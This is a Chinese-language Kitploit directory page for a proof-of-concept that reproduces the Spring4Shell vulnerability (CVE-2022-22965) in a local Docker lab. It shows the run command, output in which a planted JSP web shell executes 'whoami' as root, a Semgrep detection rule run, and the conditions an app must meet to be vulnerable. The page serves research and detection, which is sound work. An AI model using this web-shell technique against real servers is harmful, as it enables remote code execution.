Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
springshell-rce-poc — CVE-2022-22965 - CVE-2010-1622 再现 | Kitploit
工具/GitHubGitHub/dduarte/springshell-rce-poc
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubdduarte/springshell-rce-poc

springshell-rce-poc

CVE-2022-22965 - CVE-2010-1622 再现

查看仓库
19123年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-22965 - 易受攻击的应用和 PoC

试错

root@kitploit:~
$ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py

输出示例

root@kitploit:~
rce
sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6
1a048e5725f754d331de9491d0750c4c7a163472dea1fd1554edccfd00d7f6e5
deploy <Response [200]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [500]>
webshell http://localhost:8080/tomcatwar.jsp?cmd=whoami
root

使用 Semgrep 进行识别

root@kitploit:~
$ semgrep --config=semgrep-rule.yml .

Semgrep 规则和测试用例

输出示例

root@kitploit:~
Findings:

  src/main/java/com/example/demo/controller/IndexController.java
     cve-2022-22965
        Semgrep found a match


         14┆ @RequestMapping("/index")
         15┆ public void index(EvalBean evalBean) {
         16┆
         17┆ }

Ran 1 rule on 3 files: 1 finding.

漏洞应用要求1

  • JDK 9 或更高版本
  • 独立 Tomcat(非嵌入式 Tomcat),使用 WAR 部署
  • 任何早于 5.3.18 / 5.2.20 的 Spring 版本(Spring Boot 早于 2.5.12 / 2.6.6)
  • WebDataBinder / InitBinder 上没有阻止列表
  • 直接使用 POJO 进行参数绑定(不使用 @RequestBody、@RequestQuery 等)
  • 可写的文件系统(例如 webapps/ROOT)

来源

  • https://twitter.com/vxunderground/status/1509170582469943303 / https://github.com/craig/SpringCore0day
  • https://github.com/fengguangbin/spring-rce-war

Footnotes

  1. 假设漏洞利用方式与已知 PoC 类似。可能还有其他 gadgets…… ↩

下载工具